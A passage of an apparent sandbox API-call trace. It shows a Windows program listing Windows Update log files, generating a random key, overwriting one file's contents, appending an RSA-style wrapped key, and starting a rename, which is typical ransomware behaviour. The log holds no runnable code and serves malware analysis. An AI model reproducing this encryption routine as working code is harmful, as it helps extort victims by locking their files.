lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe0798fd2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79d33ce, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPAC79~1.ETL")) returned 1 [0116.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0116.673] GetLastError () returned 0x0 [0116.673] SetLastError (dwErrCode=0x0) [0116.673] GetLastError () returned 0x0 [0116.673] SetLastError (dwErrCode=0x0) [0116.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b588 [0116.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b588 | out: hHeap=0x520000) returned 1 [0116.673] GetLastError () returned 0x0 [0116.673] SetLastError (dwErrCode=0x0) [0116.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0116.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6a40 [0116.674] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7a24386, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x56762f51, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.019.etl", cAlternateFileName="UP1E42~1.ETL")) returned 1 [0116.674] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0116.674] GetLastError () returned 0x0 [0116.674] SetLastError (dwErrCode=0x0) [0116.674] GetLastError () returned 0x0 [0116.674] SetLastError (dwErrCode=0x0) [0116.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b9c8 [0116.674] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0116.674] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b9c8 | out: hHeap=0x520000) returned 1 [0116.674] GetLastError () returned 0x0 [0116.674] SetLastError (dwErrCode=0x0) [0116.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0116.674] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0116.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0116.675] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1fc4717b, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x46bc7f04, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.020.etl", cAlternateFileName="UP597C~1.ETL")) returned 1 [0116.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0116.675] GetLastError () returned 0x0 [0116.675] SetLastError (dwErrCode=0x0) [0116.675] GetLastError () returned 0x0 [0116.675] SetLastError (dwErrCode=0x0) [0116.675] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b588 [0116.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0116.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b588 | out: hHeap=0x520000) returned 1 [0116.675] GetLastError () returned 0x0 [0116.675] SetLastError (dwErrCode=0x0) [0116.675] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0116.675] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.675] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6b70 [0116.676] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x22cb9437, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x911dff9b, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.021.etl", cAlternateFileName="UP0CB7~1.ETL")) returned 1 [0116.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.676] GetLastError () returned 0x0 [0116.676] SetLastError (dwErrCode=0x0) [0116.676] GetLastError () returned 0x0 [0116.676] SetLastError (dwErrCode=0x0) [0116.676] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b1d0 [0116.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0116.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b1d0 | out: hHeap=0x520000) returned 1 [0116.676] GetLastError () returned 0x0 [0116.676] SetLastError (dwErrCode=0x0) [0116.676] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0116.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ca0 [0116.677] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8f4581c2, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0xb62eafb0, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.022.etl", cAlternateFileName="UPBE04~1.ETL")) returned 1 [0116.677] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0116.677] GetLastError () returned 0x0 [0116.677] SetLastError (dwErrCode=0x0) [0116.677] GetLastError () returned 0x0 [0116.677] SetLastError (dwErrCode=0x0) [0116.677] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60bad8 [0116.677] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.677] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bad8 | out: hHeap=0x520000) returned 1 [0116.677] GetLastError () returned 0x0 [0116.677] SetLastError (dwErrCode=0x0) [0116.677] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0116.677] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6d38 [0116.677] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f83b96b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x82808de1, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.023.etl", cAlternateFileName="UPA620~1.ETL")) returned 1 [0116.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0116.678] GetLastError () returned 0x0 [0116.678] SetLastError (dwErrCode=0x0) [0116.678] GetLastError () returned 0x0 [0116.678] SetLastError (dwErrCode=0x0) [0116.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b368 [0116.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b368 | out: hHeap=0x520000) returned 1 [0116.678] GetLastError () returned 0x0 [0116.678] SetLastError (dwErrCode=0x0) [0116.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0116.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f98 [0116.678] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcae2810e, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xf21e09d1, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.024.etl", cAlternateFileName="UP14AB~1.ETL")) returned 1 [0116.679] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0116.679] GetLastError () returned 0x0 [0116.679] SetLastError (dwErrCode=0x0) [0116.679] GetLastError () returned 0x0 [0116.679] SetLastError (dwErrCode=0x0) [0116.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b038 [0116.679] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0116.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0116.679] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b038 | out: hHeap=0x520000) returned 1 [0116.679] GetLastError () returned 0x0 [0116.679] SetLastError (dwErrCode=0x0) [0116.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0116.679] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.679] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0116.679] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcd491119, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x2e5f9ec7, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.025.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0116.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0116.680] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0116.680] GetLastError () returned 0x0 [0116.680] SetLastError (dwErrCode=0x0) [0116.680] GetLastError () returned 0x0 [0116.680] SetLastError (dwErrCode=0x0) [0116.680] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b830 [0116.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0116.680] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b830 | out: hHeap=0x520000) returned 1 [0116.680] GetLastError () returned 0x0 [0116.680] SetLastError (dwErrCode=0x0) [0116.680] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0116.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.680] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7160 [0116.680] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb30910b4, ftLastAccessTime.dwHighDateTime=0x1d3278b, ftLastWriteTime.dwLowDateTime=0xe1a1828d, ftLastWriteTime.dwHighDateTime=0x1d3278b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.026.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0116.681] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.681] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0116.681] GetLastError () returned 0x0 [0116.681] SetLastError (dwErrCode=0x0) [0116.681] GetLastError () returned 0x0 [0116.681] SetLastError (dwErrCode=0x0) [0116.681] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b830 [0116.681] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0116.681] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0116.681] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b830 | out: hHeap=0x520000) returned 1 [0116.682] GetLastError () returned 0x0 [0116.682] SetLastError (dwErrCode=0x0) [0116.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0116.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0116.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0116.682] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbda7099b, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xe19a12b7, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.027.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0116.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0116.682] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0116.682] GetLastError () returned 0x0 [0116.682] SetLastError (dwErrCode=0x0) [0116.682] GetLastError () returned 0x0 [0116.682] SetLastError (dwErrCode=0x0) [0116.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b148 [0116.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0116.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b148 | out: hHeap=0x520000) returned 1 [0116.683] GetLastError () returned 0x0 [0116.683] SetLastError (dwErrCode=0x0) [0116.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0116.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x60d170 [0116.683] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa972a1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x266bdfb9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.028.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0116.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0116.683] GetLastError () returned 0x0 [0116.683] SetLastError (dwErrCode=0x0) [0116.683] GetLastError () returned 0x0 [0116.683] SetLastError (dwErrCode=0x0) [0116.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b038 [0116.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b038 | out: hHeap=0x520000) returned 1 [0116.684] GetLastError () returned 0x0 [0116.684] SetLastError (dwErrCode=0x0) [0116.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0116.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x60d890 [0116.684] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x8243765a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x889a9e61, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0116.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0116.684] GetLastError () returned 0x0 [0116.684] SetLastError (dwErrCode=0x0) [0116.684] GetLastError () returned 0x0 [0116.684] SetLastError (dwErrCode=0x0) [0116.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b478 [0116.685] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0116.685] GetLastError () returned 0x0 [0116.685] SetLastError (dwErrCode=0x0) [0116.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0116.685] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0116.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0116.685] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 1 [0116.685] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x520000) returned 1 [0116.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0116.685] GetLastError () returned 0x0 [0116.685] SetLastError (dwErrCode=0x0) [0116.685] GetLastError () returned 0x0 [0116.685] SetLastError (dwErrCode=0x0) [0116.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b038 [0116.686] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0116.686] GetLastError () returned 0x0 [0116.686] SetLastError (dwErrCode=0x0) [0116.686] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.686] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.686] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0116.686] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 0 [0116.686] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0116.686] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.686] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl", dwFileAttributes=0x80) returned 1 [0116.688] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0116.688] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.688] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12288) returned 1 [0116.689] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0116.707] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.707] WriteFile (in: hFile=0x694, lpBuffer=0x610bf0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0116.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610bf0 | out: hHeap=0x520000) returned 1 [0116.707] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3000 [0116.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.708] WriteFile (in: hFile=0x694, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.708] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.708] CloseHandle (hObject=0x694) returned 1 [0116.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0116.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.709] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl"), 